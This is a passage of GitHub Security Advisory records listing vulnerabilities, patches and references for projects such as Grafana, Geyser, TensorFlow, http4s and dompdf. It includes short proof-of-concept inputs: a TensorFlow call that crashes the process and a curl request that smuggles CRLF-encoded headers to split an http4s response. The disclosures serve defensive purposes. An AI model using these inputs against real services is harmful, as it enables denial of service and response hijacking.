* 2021-09-15 19:30: `/api/snapshots/:key` blocked on Grafana Cloud
* 2021-09-16 09:31: `/api/snapshots-delete/:deleteKey` found to be vulnerable as well, blocked on Grafana Cloud. From this point forward, Cloud is not affected any more.
* 2021-09-16 09:35: HIGH severity declared
* 2021-09-16 11:19: Realization that combination of deletion and viewing allows enumeration and permanent DoS
* 2021-09-16 11:19: CRITICAL declared
* 2021-09-17 10:53: Determination that no weekend work is needed. While issue is CRITICAL, scope is very limited
* 2021-09-17 14:26: Audit of Grafana Cloud concluded, no evidence of exploitation
* 2021-09-23: Grafana Cloud instances updated
* 2021-09-28 12:00: Grafana Enterprise images released to customers under embargo
* 2021-10-05 17:00: Public release
## Reporting security issues
If you think you have found a security vulnerability, please send a report to [security@grafana.com](mailto:security@grafana.com). This address can be used for all of
Grafana Labs's open source and commercial products (including but not limited to Grafana, Tempo, Loki, Amixr, k6, Tanka, and Grafana Cloud, Grafana Enterprise, and grafana.com). We only accept vulnerability reports at this address. We would prefer that you encrypt your message to us using our PGP key. The key fingerprint is:
F988 7BEA 027A 049F AE8E 5CAA D125 8932 BE24 C5CA
The key is available from [keys.gnupg.net](http://keys.gnupg.net/pks/lookup?op=get&fingerprint=on&search=0xD1258932BE24C5CA) by searching for [security@grafana](http://keys.gnupg.net/pks/lookup?search=security@grafana&fingerprint=on&op=index.
## Security announcements
We maintain a category on the community site named [Security Announcements](https://community.grafana.com/c/security-announcements),
where we will post a summary, remediation, and mitigation details for any patch containing security fixes. You can also subscribe to email updates to this category if you have a grafana.com account and sign in to the community site, or via updates from our [Security Announcements RSS feed](https://community.grafana.com/c/security-announcements.rss).
## Acknowledgement
We would like to thank [Tran Viet Tuan](https://github.com/theblackturtle) for responsibly disclosing the initially discovered vulnerability to us. | {'CVE-2021-39226'} | 2022-04-19T19:03:09Z | 2021-10-05T20:24:02Z | HIGH | 7.3 | {'CWE-287'} | {'https://grafana.com/docs/grafana/latest/release-notes/release-notes-8-1-6/', 'https://github.com/grafana/grafana/commit/2d456a6375855364d098ede379438bf7f0667269', 'http://www.openwall.com/lists/oss-security/2021/10/05/4', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/E6ANHRDBXQT6TURLP2THM26ZPDINFBEG/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DCKBFUSY6V4VU5AQUYWKISREZX5NLQJT/', 'https://nvd.nist.gov/vuln/detail/CVE-2021-39226', 'https://security.netapp.com/advisory/ntap-20211029-0008/', 'https://github.com/advisories/GHSA-69j6-29vr-p3j9', 'https://github.com/grafana/grafana/security/advisories/GHSA-69j6-29vr-p3j9', 'https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-5-11/'} | null | {'https://github.com/grafana/grafana/commit/2d456a6375855364d098ede379438bf7f0667269'} | {'https://github.com/grafana/grafana/commit/2d456a6375855364d098ede379438bf7f0667269'} |
GHSA | GHSA-h77f-xxx7-4858 | User impersonation due to incorrect handling of the login JWT | ### Impact
<!--_What kind of vulnerability is it? Who is impacted?_-->
This allows anyone that can connect to the server to forge a LoginPacket with manipulated JWT token allowing impersonation as any Bedrock user. Unless credentials are saved in your configuration, online mode is not affected as users are still required to log in separately. If your credentials are saved, there is no risk of exposing your email or password.
### Patches
<!--_Has the problem been patched? What versions should users upgrade to?_-->
This was patched as part of https://github.com/GeyserMC/Geyser/commit/b9541505af68ac7b7c093206ac7b1ba88957a5a6 and https://github.com/GeyserMC/Geyser/commit/ab2f5b326fe590e09167e8b45b4b165ac06ecd13. if your Geyser version is `1.4.2-SNAPSHOT` or later, the issue has been addressed on your build.
### Workarounds
<!--_Is there a way for users to fix or remediate the vulnerability without upgrading?_-->
Geyser strongly recommends updating to fix this issue. If this isn't possible:
- Use online mode and don't save credentials in your Geyser configuration
- Use an additional authentication method on the Java server
### References
<!--_Are there any links users can visit to find out more?_-->
This was disclosed to us by a staff member over at Hive; you can read their disclosure here: https://updates.playhive.com/weekend-maintenance-disclosure-2kJMaY
### For more information
If you have any questions or comments about this advisory:
* Come talk to us over on our [Discord](https://discord.gg/geysermc) server in the [#development](https://discord.com/channels/613163671870242838/613170125696270357) channel
| {'CVE-2021-39177'} | 2022-04-19T19:03:07Z | 2021-09-07T23:04:04Z | HIGH | 7.4 | {'CWE-287'} | {'https://github.com/GeyserMC/Geyser/commit/b9541505af68ac7b7c093206ac7b1ba88957a5a6', 'https://nvd.nist.gov/vuln/detail/CVE-2021-39177', 'https://updates.playhive.com/weekend-maintenance-disclosure-2kJMaY', 'https://github.com/advisories/GHSA-h77f-xxx7-4858', 'https://github.com/GeyserMC/Geyser/security/advisories/GHSA-h77f-xxx7-4858'} | null | {'https://github.com/GeyserMC/Geyser/commit/b9541505af68ac7b7c093206ac7b1ba88957a5a6'} | {'https://github.com/GeyserMC/Geyser/commit/b9541505af68ac7b7c093206ac7b1ba88957a5a6'} |
GHSA | GHSA-3wj8-vp9h-rm6m | Remote Code Execution (RCE) | The package total.js before 3.4.8 are vulnerable to Remote Code Execution (RCE) via set. | {'CVE-2021-23344'} | 2021-03-19T21:32:20Z | 2021-03-19T21:32:20Z | CRITICAL | 9.8 | {'CWE-94'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-23344', 'https://snyk.io/vuln/SNYK-JS-TOTALJS-1077069', 'https://github.com/advisories/GHSA-3wj8-vp9h-rm6m', 'https://github.com/totaljs/framework/commit/c812bbcab8981797d3a1b9993fc42dad3d246f04'} | null | {'https://github.com/totaljs/framework/commit/c812bbcab8981797d3a1b9993fc42dad3d246f04'} | {'https://github.com/totaljs/framework/commit/c812bbcab8981797d3a1b9993fc42dad3d246f04'} |
GHSA | GHSA-x4qx-4fjv-hmw6 | Integer overflow leading to crash in Tensorflow | ### Impact
The [implementation of `SparseCountSparseOutput`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/count_ops.cc#L168-L273) can be made to crash a TensorFlow process by an integer overflow whose result is then used in a memory allocation:
```python
import tensorflow as tf
import numpy as np
tf.raw_ops.SparseCountSparseOutput(
indices=[[1,1]],
values=[2],
dense_shape=[2 ** 31, 2 ** 32],
weights=[1],
binary_output=True,
minlength=-1,
maxlength=-1,
name=None)
```
### Patches
We have patched the issue in GitHub commit [6f4d3e8139ec724dbbcb40505891c81dd1052c4a](https://github.com/tensorflow/tensorflow/commit/6f4d3e8139ec724dbbcb40505891c81dd1052c4a).
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Faysal Hossain Shezan from University of Virginia. | {'CVE-2022-21738'} | 2022-02-11T16:22:50Z | 2022-02-09T23:45:09Z | MODERATE | 6.5 | {'CWE-190'} | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-x4qx-4fjv-hmw6', 'https://nvd.nist.gov/vuln/detail/CVE-2022-21738', 'https://github.com/advisories/GHSA-x4qx-4fjv-hmw6', 'https://github.com/tensorflow/tensorflow/commit/6f4d3e8139ec724dbbcb40505891c81dd1052c4a', 'https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/count_ops.cc#L168-L273'} | null | {'https://github.com/tensorflow/tensorflow/commit/6f4d3e8139ec724dbbcb40505891c81dd1052c4a'} | {'https://github.com/tensorflow/tensorflow/commit/6f4d3e8139ec724dbbcb40505891c81dd1052c4a'} |
GHSA | GHSA-xhv5-w9c5-2r2w | Unbounded connection acceptance in http4s-blaze-server | ### Impact
blaze-core, a library underlying http4s-blaze-server, accepts connections unboundedly on its selector pool. This has the net effect of amplifying degradation in services that are unable to handle their current request load, since incoming connections are still accepted and added to an unbounded queue. Each connection allocates a socket handle, which drains a scarce OS resource. This can also confound higher level circuit breakers which work based on detecting failed connections.
http4s provides a general `MaxActiveRequests` middleware mechanism for limiting open connections, but it is enforced inside the Blaze accept loop, after the connection is accepted and the socket opened. Thus, the limit only prevents the number of connections which can be simultaneously processed, not the number of connections which can be held open.
### Patches
In 0.21.18, 0.22.0-M3, and 1.0.0-M16, a new`maxConnections` property, with a default value of 1024, has been added to the `BlazeServerBuilder`. Setting the value to a negative number restores unbounded behavior, but is strongly disrecommended.
The NIO2 backend does not respect `maxConnections`. Its use is now deprecated in http4s-0.21, and the option is removed altogether starting in http4s-0.22.
The connections are bounded in 0.21.17, 0.22.0-M2, and 1.0.0-M14, but the `maxConnections` parameter was passed incorrectly, making it impossible to change the Blaze default of 512.
### Workarounds
* An Nginx side-car acting as a reverse proxy for the local http4s-blaze-server instance would be able to apply a connection limiting semantic before the sockets reach blaze-core. Nginx’s connection bounding is both asynchronous and properly respects backpressure.
* http4s-ember-server is an alternative to http4s-blaze-server, but does not yet have HTTP/2 or web socket support. Its performance in terms of RPS is appreciably behind Blaze’s, and as the newest backend, has substantially less industrial uptake.
* http4s-jetty is an alternative to http4s-blaze-server, but does not yet have web socket support. Its performance in terms of requests per second is somewhat behind Blaze’s, and despite Jetty's industrial adoption, the http4s integration has substantially less industrial uptake.
* http4s-tomcat is an alternative to http4s-blaze-server, but does not yet have HTTP/2 web socket support. Its performance in terms of requests per second is somewhat behind Blaze’s, and despite Jetty's industrial adoption, the http4s integration has substantially less industrial uptake.
### References
See [the Blaze GHSA](https://github.com/http4s/blaze/security/advisories/GHSA-xmw9-q7x9-j5qc) for more on the underlying issue.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [http4s/http4s](http://github.com/http4s/http4s)
* Contact us according to the [http4s security policy](https://github.com/http4s/http4s/security/policy) | {'CVE-2021-21294'} | 2021-02-09T18:51:45Z | 2021-02-02T21:42:56Z | HIGH | 0 | {'CWE-400'} | {'https://github.com/advisories/GHSA-xhv5-w9c5-2r2w', 'https://github.com/http4s/http4s/commit/987d6589ef79545b9bb2324ac4bdebf82d9a0171', 'https://nvd.nist.gov/vuln/detail/CVE-2021-21294', 'https://github.com/http4s/blaze/security/advisories/GHSA-xmw9-q7x9-j5qc', 'https://github.com/http4s/http4s/security/advisories/GHSA-xhv5-w9c5-2r2w'} | null | {'https://github.com/http4s/http4s/commit/987d6589ef79545b9bb2324ac4bdebf82d9a0171'} | {'https://github.com/http4s/http4s/commit/987d6589ef79545b9bb2324ac4bdebf82d9a0171'} |
GHSA | GHSA-g4rf-pc26-6hmr | OMERO webclient does not validate URL redirects on login or switching group. | ### Background
OMERO.web supports redirection to a given URL after performing login or switching the group context. These URLs are not validated, allowing redirection to untrusted sites. OMERO.web 5.9.0 adds URL validation before redirecting. External URLs are not considered valid, unless specified in the ``omero.web.redirect_allowed_hosts`` setting.
### Impact
OMERO.web before 5.9.0
### Patches
5.9.0
### Workarounds
No workaround
### References
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [omero-web](https://github.com/ome/omero-web)
* Email us at [security](mailto:security@openmicroscopy.org.uk) | {'CVE-2021-21377'} | 2021-03-29T17:37:03Z | 2021-03-23T15:26:49Z | MODERATE | 0 | {'CWE-601'} | {'https://www.openmicroscopy.org/security/advisories/2021-SV2/', 'https://github.com/ome/omero-web/commit/952f8e5d28532fbb14fb665982211329d137908c', 'https://pypi.org/project/omero-web/', 'https://github.com/ome/omero-web/security/advisories/GHSA-g4rf-pc26-6hmr', 'https://github.com/advisories/GHSA-g4rf-pc26-6hmr', 'https://github.com/ome/omero-web/blob/master/CHANGELOG.md#590-march-2021', 'https://nvd.nist.gov/vuln/detail/CVE-2021-21377'} | null | {'https://github.com/ome/omero-web/commit/952f8e5d28532fbb14fb665982211329d137908c'} | {'https://github.com/ome/omero-web/commit/952f8e5d28532fbb14fb665982211329d137908c'} |
GHSA | GHSA-vh5w-fg69-rc8m | Improper Input Validation in Google Closure Library | A URL parsing issue in goog.uri of the Google Closure Library versions up to and including v20200224 allows an attacker to send malicious URLs to be parsed by the library and return the wrong authority. Mitigation -- update your library to version v20200315. | {'CVE-2020-8910'} | 2021-05-07T16:06:34Z | 2021-05-07T16:06:34Z | MODERATE | 6.5 | {'CWE-20'} | {'https://github.com/google/closure-library/commit/294fc00b01d248419d8f8de37580adf2a0024fc9', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8910', 'https://github.com/google/closure-library/releases/tag/v20200315', 'https://github.com/advisories/GHSA-vh5w-fg69-rc8m'} | null | {'https://github.com/google/closure-library/commit/294fc00b01d248419d8f8de37580adf2a0024fc9'} | {'https://github.com/google/closure-library/commit/294fc00b01d248419d8f8de37580adf2a0024fc9'} |
GHSA | GHSA-4rm3-4mq4-mfwr | Moderate severity vulnerability that affects org.hswebframework.web:hsweb-commons | A CSRF issue was discovered in web/authorization/oauth2/controller/OAuth2ClientController.java in hsweb 3.0.4 because the state parameter in the request is not compared with the state parameter in the session after user authentication is successful. | {'CVE-2018-20595'} | 2021-09-01T18:36:40Z | 2019-01-04T17:43:22Z | HIGH | 8.8 | {'CWE-352'} | {'https://github.com/advisories/GHSA-4rm3-4mq4-mfwr', 'https://nvd.nist.gov/vuln/detail/CVE-2018-20595', 'https://github.com/hs-web/hsweb-framework/issues/107', 'https://github.com/hs-web/hsweb-framework/commit/40929e9b0d336a26281a5ed2e0e721d54dd8d2f2'} | null | {'https://github.com/hs-web/hsweb-framework/commit/40929e9b0d336a26281a5ed2e0e721d54dd8d2f2'} | {'https://github.com/hs-web/hsweb-framework/commit/40929e9b0d336a26281a5ed2e0e721d54dd8d2f2'} |
GHSA | GHSA-5xjx-4xcm-hpcm | Prototype Pollution in ts-nodash | `ts-nodash` before version 1.2.7 is vulnerable to Prototype Pollution via the Merge() function due to lack of validation input. | {'CVE-2021-23403'} | 2021-12-10T18:53:42Z | 2021-12-10T18:53:42Z | HIGH | 7.3 | {'CWE-1321', 'CWE-915'} | {'https://github.com/advisories/GHSA-5xjx-4xcm-hpcm', 'https://github.com/BadOPCode/NoDash/blob/master/src/Merge.ts', 'https://github.com/BadOPCode/NoDash/commit/b9cc2b3b49f6cd5228e406bc57e17a28b998fea5', 'https://nvd.nist.gov/vuln/detail/CVE-2021-23403', 'https://snyk.io/vuln/SNYK-JS-TSNODASH-1311009'} | null | {'https://github.com/BadOPCode/NoDash/commit/b9cc2b3b49f6cd5228e406bc57e17a28b998fea5'} | {'https://github.com/BadOPCode/NoDash/commit/b9cc2b3b49f6cd5228e406bc57e17a28b998fea5'} |
GHSA | GHSA-c6rp-xvqv-mwmf | Cross-site Scripting in epubjs | managers/views/iframe.js in FuturePress EPub.js before 0.3.89 allows XSS. | {'CVE-2021-33040'} | 2022-01-21T23:52:17Z | 2022-01-21T23:52:17Z | HIGH | 0 | {'CWE-79'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-33040', 'https://github.com/futurepress/epub.js/blob/5c7f21d648d9d20d44c6c365d164b16871847023/src/managers/views/iframe.js#L373', 'https://github.com/futurepress/epub.js/compare/v0.3.88...v0.3.89', 'https://github.com/futurepress/epub.js/commit/ab4dd46408cce0324e1c67de4a3ba96b59e5012e', 'https://github.com/advisories/GHSA-c6rp-xvqv-mwmf'} | null | {'https://github.com/futurepress/epub.js/commit/ab4dd46408cce0324e1c67de4a3ba96b59e5012e'} | {'https://github.com/futurepress/epub.js/commit/ab4dd46408cce0324e1c67de4a3ba96b59e5012e'} |
GHSA | GHSA-74xw-82v7-hmrm | Improper Input Validation in python-dbusmock | python-dbusmock before version 0.15.1 AddTemplate() D-Bus method call or DBusTestCase.spawn_server_template() method could be tricked into executing malicious code if an attacker supplies a .pyc file. | {'CVE-2015-1326'} | 2021-08-03T17:42:37Z | 2019-04-23T16:04:36Z | HIGH | 8.8 | {'CWE-20'} | {'https://nvd.nist.gov/vuln/detail/CVE-2015-1326', 'https://github.com/martinpitt/python-dbusmock/commit/4e7d0df9093', 'https://github.com/advisories/GHSA-74xw-82v7-hmrm'} | null | {'https://github.com/martinpitt/python-dbusmock/commit/4e7d0df9093'} | {'https://github.com/martinpitt/python-dbusmock/commit/4e7d0df9093'} |
GHSA | GHSA-q26w-wjj2-22vv | Cross-site scripting in Joplin | Joplin allows XSS via a LINK element in a note. | {'CVE-2020-28249'} | 2021-05-10T18:47:36Z | 2021-05-10T18:47:36Z | MODERATE | 6.1 | {'CWE-79'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-28249', 'https://github.com/fhlip0/JopinXSS', 'https://www.npmjs.com/package/joplin', 'https://github.com/laurent22/joplin/commit/fd90a490c0e5cacd17bfe0ffc422be1d2a9b1c13', 'https://github.com/laurent22/joplin/releases/tag/v1.3.11', 'https://github.com/advisories/GHSA-q26w-wjj2-22vv'} | null | {'https://github.com/laurent22/joplin/commit/fd90a490c0e5cacd17bfe0ffc422be1d2a9b1c13'} | {'https://github.com/laurent22/joplin/commit/fd90a490c0e5cacd17bfe0ffc422be1d2a9b1c13'} |
GHSA | GHSA-5vcm-3xc3-w7x3 | Response Splitting from unsanitized headers | ### Impact
http4s is vulnerable to response-splitting or request-splitting attacks when untrusted user input is used to create any of the following fields:
* Header names (`Header.name`å
* Header values (`Header.value`)
* Status reason phrases (`Status.reason`)
* URI paths (`Uri.Path`)
* URI authority registered names (`URI.RegName`) (through 0.21)
The following backends render invalid carriage return, newline, or null characters in an unsafe fashion.
| | blaze-server | ember-server | blaze-client | ember-client | jetty-client |
|:---------------|:-------------|:-------------|:-------------|--------------|--------------|
| header names | ⚠ | ⚠ | ⚠ | ⚠ | ⚠ |
| header values | ⚠ | ⚠ | ⚠ | ⚠ | |
| status reasons | ⚠ | ⚠ | | | |
| URI paths | | | ⚠ | ⚠ | |
| URI regnames | | | ⚠ < 0.22 | ⚠ < 0.22 | |
For example, given the following service:
```scala
import cats.effect._
import org.http4s._
import org.http4s.dsl.io._
import org.http4s.server.blaze.BlazeServerBuilder
import scala.concurrent.ExecutionContext.global
object ResponseSplit extends IOApp {
override def run(args: List[String]): IO[ExitCode] =
BlazeServerBuilder[IO](global)
.bindHttp(8080)
.withHttpApp(httpApp)
.resource
.use(_ => IO.never)
val httpApp: HttpApp[IO] =
HttpApp[IO] { req =>
req.params.get("author") match {
case Some(author) =>
Ok("The real content")
.map(_.putHeaders(Header("Set-Cookie", s"author=${author}")))
case None =>
BadRequest("No author parameter")
}
}
}
```
A clean `author` parameter returns a clean response:
```sh
curl -i 'http://localhost:8080/?author=Ross'
```
```http
HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8
Set-Cookie: author=Ross
Date: Mon, 20 Sep 2021 04:12:10 GMT
Content-Length: 16
The real content
```
A malicious `author` parameter allows a user-agent to hijack the response from our server and return different content:
```sh
curl -i 'http://localhost:8080/?author=hax0r%0d%0aContent-Length:+13%0d%0a%0aI+hacked+you'
```
```http
HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8
Set-Cookie: author=hax0r
Content-Length: 13
I hacked you
```
### Patches
Versions 0.21.29, 0.22.5, 0.23.4, and 1.0.0-M27 perform the following:
* If a status reasoon phrase is invalid, it is dropped. Rendering is optional per spec.
* If a header name is invalid in a request or response, the header is dropped. There is no way to generically sanitize a header without potentially shadowing a correct one.
* If a header value is invalid in a request or response, it is sanitized by replacing null (`\u0000`), carriage return (`\r`), and newline (`\n`) with space (` `) characters per spec.
* If a URI path or registered name is invalid in a request line, the client raises an `IllegalArgumentException`.
* If a URI registered name is invalid in a host header, the client raises an `IllegalArgumentException`.
### Workarounds
http4s services and client applications should sanitize any user input in the aforementioned fields before returning a request or response to the backend. The carriage return, newline, and null characters are the most threatening.
Not all backends were affected: jetty-server, tomcat-server, armeria, and netty on the server; async-http-client, okhttp-client, armeria, and netty as clients.
### References
* https://owasp.org/www-community/attacks/HTTP_Response_Splitting
* https://httpwg.org/http-core/draft-ietf-httpbis-semantics-latest.html#fields.values
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [GitHub](http://github.com/http4s/http4s)
* Contact us via the [http4s security policy](https://github.com/http4s/http4s/security/policy)
| {'CVE-2021-41084'} | 2021-10-21T14:31:25Z | 2021-09-22T19:18:41Z | HIGH | 8.7 | {'CWE-918'} | {'https://httpwg.org/http-core/draft-ietf-httpbis-semantics-latest.html#fields.values', 'https://owasp.org/www-community/attacks/HTTP_Response_Splitting', 'https://github.com/http4s/http4s/security/advisories/GHSA-5vcm-3xc3-w7x3', 'https://github.com/advisories/GHSA-5vcm-3xc3-w7x3', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41084', 'https://github.com/http4s/http4s/commit/d02007db1da4f8f3df2dbf11f1db9ac7afc3f9d8'} | null | {'https://github.com/http4s/http4s/commit/d02007db1da4f8f3df2dbf11f1db9ac7afc3f9d8'} | {'https://github.com/http4s/http4s/commit/d02007db1da4f8f3df2dbf11f1db9ac7afc3f9d8'} |
GHSA | GHSA-h2g5-2rhx-ffgj | Command injection in Weblate | Weblate is a web based localization tool with tight version control integration. Prior to version 4.11.1, Weblate didn't properly sanitize some arguments passed to Git and Mercurial, allowing them to change their behavior in an unintended way. Instances where untrusted users cannot create new components are not affected. The issues were fixed in the 4.11.1 release. | {'CVE-2022-24727'} | 2022-03-17T21:37:32Z | 2022-03-05T00:00:44Z | HIGH | 0 | {'CWE-77'} | {'https://github.com/advisories/GHSA-h2g5-2rhx-ffgj', 'https://nvd.nist.gov/vuln/detail/CVE-2022-24727', 'https://github.com/WeblateOrg/weblate/commit/d83672a3e7415da1490334e2c9431e5da1966842', 'https://github.com/WeblateOrg/weblate/security/advisories/GHSA-3872-f48p-pxqj', 'https://github.com/WeblateOrg/weblate/commit/35d59f1f040541c358cece0a8d4a63183ca919b8'} | null | {'https://github.com/WeblateOrg/weblate/commit/35d59f1f040541c358cece0a8d4a63183ca919b8', 'https://github.com/WeblateOrg/weblate/commit/d83672a3e7415da1490334e2c9431e5da1966842'} | {'https://github.com/WeblateOrg/weblate/commit/35d59f1f040541c358cece0a8d4a63183ca919b8', 'https://github.com/WeblateOrg/weblate/commit/d83672a3e7415da1490334e2c9431e5da1966842'} |
GHSA | GHSA-x752-qjv4-c4hc | Remote code injection in dompdf/dompdf | Dompdf is an HTML to PDF converter. Dompdf before 1.2.1 allows remote code execution via a .php file in the src:url field of an @font-face Cascading Style Sheets (CSS) statement (within an HTML input file). | {'CVE-2022-28368'} | 2022-04-15T16:49:28Z | 2022-04-04T00:00:55Z | CRITICAL | 9.8 | {'CWE-74'} | {'https://github.com/dompdf/dompdf/pull/2808', 'https://github.com/snyk-labs/php-goof', 'https://github.com/advisories/GHSA-x752-qjv4-c4hc', 'https://snyk.io/blog/security-alert-php-pdf-library-dompdf-rce/', 'https://packagist.org/packages/dompdf/dompdf#v1.2.1', 'https://nvd.nist.gov/vuln/detail/CVE-2022-28368', 'https://github.com/dompdf/dompdf/commit/4c70e1025bcd9b7694b95dd552499bd83cd6141d', 'https://github.com/dompdf/dompdf/issues/2598'} | null | {'https://github.com/dompdf/dompdf/commit/4c70e1025bcd9b7694b95dd552499bd83cd6141d'} | {'https://github.com/dompdf/dompdf/commit/4c70e1025bcd9b7694b95dd552499bd83cd6141d'} |
GHSA | GHSA-r7q2-5gqg-6c7q | Moderate severity vulnerability that affects actionpack | The template selection functionality in actionpack/lib/action_view/template/resolver.rb in Ruby on Rails 3.0.x before 3.0.10 and 3.1.x before 3.1.0.rc6 does not properly handle glob characters, which allows remote attackers to render arbitrary views via a crafted URL, related to a "filter skipping vulnerability." | {'CVE-2011-2929'} | 2021-09-17T14:40:50Z | 2017-10-24T18:33:38Z | MODERATE | 0 | {'CWE-20'} | {'http://www.openwall.com/lists/oss-security/2011/08/19/11', 'http://lists.fedoraproject.org/pipermail/package-announce/2011-September/065212.html', 'https://github.com/advisories/GHSA-r7q2-5gqg-6c7q', 'http://www.openwall.com/lists/oss-security/2011/08/20/1', 'https://bugzilla.redhat.com/show_bug.cgi?id=731432', 'http://lists.fedoraproject.org/pipermail/package-announce/2011-September/065109.html', 'https://nvd.nist.gov/vuln/detail/CVE-2011-2929', 'http://groups.google.com/group/rubyonrails-security/msg/cbbbba6e4f7eaf61?dmode=source&output=gplain', 'http://www.openwall.com/lists/oss-security/2011/08/22/13', 'http://www.openwall.com/lists/oss-security/2011/08/22/5', 'http://weblog.rubyonrails.org/2011/8/16/ann-rails-3-1-0-rc6', 'http://www.openwall.com/lists/oss-security/2011/08/22/14', 'https://github.com/rails/rails/commit/5f94b93279f6d0682fafb237c301302c107a9552', 'http://www.openwall.com/lists/oss-security/2011/08/17/1'} | null | {'https://github.com/rails/rails/commit/5f94b93279f6d0682fafb237c301302c107a9552'} | {'https://github.com/rails/rails/commit/5f94b93279f6d0682fafb237c301302c107a9552'} |
GHSA | GHSA-xx8f-qf9f-5fgw | Remote code execution in zendframework and laminas-http | Zend Framework 3.0.0 has a deserialization vulnerability that can lead to remote code execution if the content is controllable, related to the __destruct method of the Zend\Http\Response\Stream class in Stream.php. NOTE: the code may be related to Laminas Project laminas-http. Zend Framework is no longer supported by the maintainer. However, not all Zend Framework 3.0.0 vulnerabilities exist in a Laminas Project release. | {'CVE-2021-3007'} | 2021-06-08T20:11:19Z | 2021-06-08T20:11:19Z | CRITICAL | 9.8 | {'CWE-502'} | {'https://github.com/laminas/laminas-http/releases/tag/2.14.2', 'https://github.com/advisories/GHSA-xx8f-qf9f-5fgw', 'https://github.com/laminas/laminas-http/pull/48', 'https://github.com/Ling-Yizhou/zendframework3-/blob/main/zend%20framework3%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20rce.md', 'https://github.com/laminas/laminas-http/commits/2.15.x/src/Response/Stream.php', 'https://nvd.nist.gov/vuln/detail/CVE-2021-3007', 'https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/'} | null | {'https://github.com/laminas/laminas-http/commits/2.15.x/src/Response/Stream.php'} | {'https://github.com/laminas/laminas-http/commits/2.15.x/src/Response/Stream.php'} |
GHSA | GHSA-ghqm-pgxj-37gq | Moderate severity vulnerability that affects rails-html-sanitizer | Cross-site scripting (XSS) vulnerability in lib/rails/html/scrubbers.rb in the rails-html-sanitizer gem before 1.0.3 for Ruby on Rails 4.2.x and 5.x allows remote attackers to inject arbitrary web script or HTML via a crafted CDATA node. | {'CVE-2015-7580'} | 2021-09-10T21:50:09Z | 2017-10-24T18:33:36Z | MODERATE | 6.1 | {'CWE-79'} | {'http://www.securitytracker.com/id/1034816', 'https://groups.google.com/forum/message/raw?msg=rubyonrails-security/uh--W4TDwmI/m_CVZtdbFQAJ', 'http://lists.opensuse.org/opensuse-security-announce/2016-04/msg00053.html', 'https://nvd.nist.gov/vuln/detail/CVE-2015-7580', 'https://github.com/rails/rails-html-sanitizer/commit/63903b0eaa6d2a4e1c91bc86008256c4c8335e78', 'https://github.com/advisories/GHSA-ghqm-pgxj-37gq', 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00024.html', 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00014.html', 'http://www.openwall.com/lists/oss-security/2016/01/25/15'} | null | {'https://github.com/rails/rails-html-sanitizer/commit/63903b0eaa6d2a4e1c91bc86008256c4c8335e78'} | {'https://github.com/rails/rails-html-sanitizer/commit/63903b0eaa6d2a4e1c91bc86008256c4c8335e78'} |
GHSA | GHSA-8f9f-pc5v-9r5h | Malicious takeover of previously owned ENS names | ### Impact
A user who owns an ENS domain can set a "trapdoor", allowing them to transfer ownership to another user, and later regain ownership without the new owner's consent or awareness.
### Patches
A new ENS deployment is being rolled out that fixes this vulnerability in the ENS registry. The registry is newly deployed at [0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e](https://etherscan.io/address/0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e).
### Workarounds
Do not accept transfers of ENS domains from other users on the old registrar. | {'CVE-2020-5232'} | 2021-01-08T20:31:47Z | 2020-01-30T23:55:04Z | CRITICAL | 8.7 | {'CWE-285'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-5232', 'https://github.com/ensdomains/ens/commit/36e10e71fcddcade88646821e0a57cc6c19e1ecf', 'https://github.com/ensdomains/ens/security/advisories/GHSA-8f9f-pc5v-9r5h', 'https://github.com/advisories/GHSA-8f9f-pc5v-9r5h'} | null | {'https://github.com/ensdomains/ens/commit/36e10e71fcddcade88646821e0a57cc6c19e1ecf'} | {'https://github.com/ensdomains/ens/commit/36e10e71fcddcade88646821e0a57cc6c19e1ecf'} |
GHSA | GHSA-334p-wv2m-w3vp | Denial of service in Apache Xerces2 | XMLScanner.java in Apache Xerces2 Java, as used in Sun Java Runtime Environment (JRE) in JDK and JRE 6 before Update 15 and JDK and JRE 5.0 before Update 20, and in other products, allows remote attackers to cause a denial of service (infinite loop and application hang) via malformed XML input, as demonstrated by the Codenomicon XML fuzzing framework. | {'CVE-2009-2625'} | 2021-08-30T14:20:43Z | 2020-06-15T18:51:30Z | MODERATE | 0 | null | {'http://www.mandriva.com/security/advisories?name=MDVSA-2011:108', 'http://www.ubuntu.com/usn/USN-890-1', 'http://www.vmware.com/security/advisories/VMSA-2009-0016.html', 'http://lists.opensuse.org/opensuse-security-announce/2009-10/msg00001.html', 'http://www.oracle.com/technetwork/topics/security/cpuoct2009-096303.html', 'http://lists.opensuse.org/opensuse-security-announce/2009-10/msg00004.html', 'http://www.securityfocus.com/archive/1/507985/100/0/threaded', 'http://www.redhat.com/support/errata/RHSA-2009-1615.html', 'http://secunia.com/advisories/38231', 'http://www.mandriva.com/security/advisories?name=MDVSA-2009:209', 'https://rhn.redhat.com/errata/RHSA-2009-1636.html', 